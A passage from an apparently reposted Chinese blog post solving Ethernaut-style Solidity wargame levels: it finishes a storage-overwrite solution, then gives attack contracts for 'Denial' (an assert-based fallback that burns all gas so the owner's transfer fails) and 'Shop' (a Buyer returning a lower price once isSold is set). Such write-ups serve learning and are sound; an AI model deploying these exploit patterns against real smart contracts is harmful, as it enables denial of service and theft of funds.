,function go3() view returns(bytes32){ return keccak256((bytes32(1))); }
-
-
- 计算 y,
y=2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
- 计算 y,
-
- 调用
revise(y,player_addr)
,这里player_addr
记得填充到 32 字节,比如我的地址是0x91c72f7200015195408378e9cb74e6f566dddf44
,所以填充到0x00000000000000000000000091c72f7200015195408378e9cb74e6f566dddf44
- 调用
然后就 ok 了。
Denial
题目代码如下:
pragma solidity ^0.4.24; contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = 0xA9E; uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance/100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call.value(amountToSend)(); owner.transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = now; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds function() payable {} // convenience function function contractBalance() view returns (uint) { return address(this).balance; } }
题目要求也比较简单,就是在调用 withdraw 时,禁止 owner 分走账户的 1% 的余额。
刚开始傻了,想的那很简单啊,利用 withdraw
函数的 reentrancy 问题,100 次就把账户转空了。然后才想起来是余额的 1%。最近脑子不好使。
那这样的话,可以考虑使 transfer 失败,也就是想办法把 gas 耗光。比如在 partner
合约中设置大量的存储或者一个循环运算。后来想起来一个最简单办法, assert
, 这个函数触发异常之后会消耗所有可用的 gas,那么剩下的消息调用(比如 owner.transfer(amountToSend)
) 就没有 gas 可用了,就会失败了。
所以 attack 代码很简单:
contract attack{ function() payable{ assert(0==1); } }
shop
题目代码如下:
pragma solidity 0.4.24; contract Shop { uint public price = 100; bool public isSold; function buy() public { Buyer _buyer = Buyer(msg.sender); if (_buyer.price.gas(3000)() >= price && !isSold) { isSold = true; price = _buyer.price.gas(3000)(); } } }
要求是修改 price 低于 100,简单来说可就是 _buyer.price.gas(3000)()
两次返回不一样的值,比如第一次返回 100,第二次返回 0。似乎很简单,但是这里的难点在于 gas 限定了只有 3000,我们通常会想要使用一个状态变量,比如 a=0,第一次访问返回 100 之后修改为 1,第二次判断一下如果不为 0 就返回 0。但是一旦涉及到状态变量也就是 storage
的修改,那就不是简单的 3000gas 能够解决的了。这里发现题目有一个变量 isSold
, 我们可以根据这个的值判断该返回的大小,最后攻击合约如下:
pragma solidity 0.4.24; contract Buyer { function price() view returns (uint) { return Shop(msg.sender).isSold()==true?0:100; } function go(address param){ Shop a = Shop(param); a.buy(); } }
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- oscnews 1.3.0 更新,更新趋势榜功能
- VLOOK V9.23 更新!表格自动排版大更新
- oscnews 1.0.0 更新,软件更新资讯 Chrome 插件
- .NET Framework 4.8 的 Microsoft 更新目录更新
- 网游丨一月一更新,一更更一月,如何实现热更新?
- CCleaner v5.74.8184 发布:重要更新版本、可自动更新
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。